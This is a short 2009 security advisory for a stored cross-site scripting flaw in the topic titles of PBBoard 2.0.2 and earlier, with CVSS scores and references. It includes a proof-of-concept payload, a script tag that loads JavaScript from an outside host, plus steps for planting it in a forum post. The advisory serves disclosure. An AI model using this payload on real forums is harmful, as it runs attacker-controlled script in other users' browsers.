PBBoard <=2.0.2 - XSS in Topic

2009.10.12
Credit: rUnViRuS
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

[Sec-Area Advisory]pbboard <=2.0.2 - XSS in Topic Details ======= Product: PHP <= PBBoard Security-Risk: moderated Remote-Exploit: yes Vendor-URL: http://www.pbboard.com Credits ============ Discovered by: rUnViRuS site: http://www.sec-area.com Affected Products: ---------------------------- test on PBBoard 2.0.2 maybe work under 2.0.2 Original Advisory: ============ http://www.sec-area.com/?p=141 More Details ============ 1. Cross-site scripting ----------------------------------- enable malicious attackers to inject client-side script into web pages Proof of concept: Make a new topic in In the title Write some Javascript/HTML Back to forums You will find the code works Proof of concept code: go to : http://www.pbboard.com/forums/index.php?page=new_topic&index=1&id=[Secti on id ] then In the title Write some Javascript/HTML like : <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> Back to forums You will find the code works -------------------------------------------- [W]orld [D]efacers [T]eam http://www.Sec-area.com --------------------------------------------

References:

http://www.securityfocus.com/archive/1/archive/1/506992/100/0/threaded
http://www.sec-area.com/?p=141%23more-141&gtlang=en


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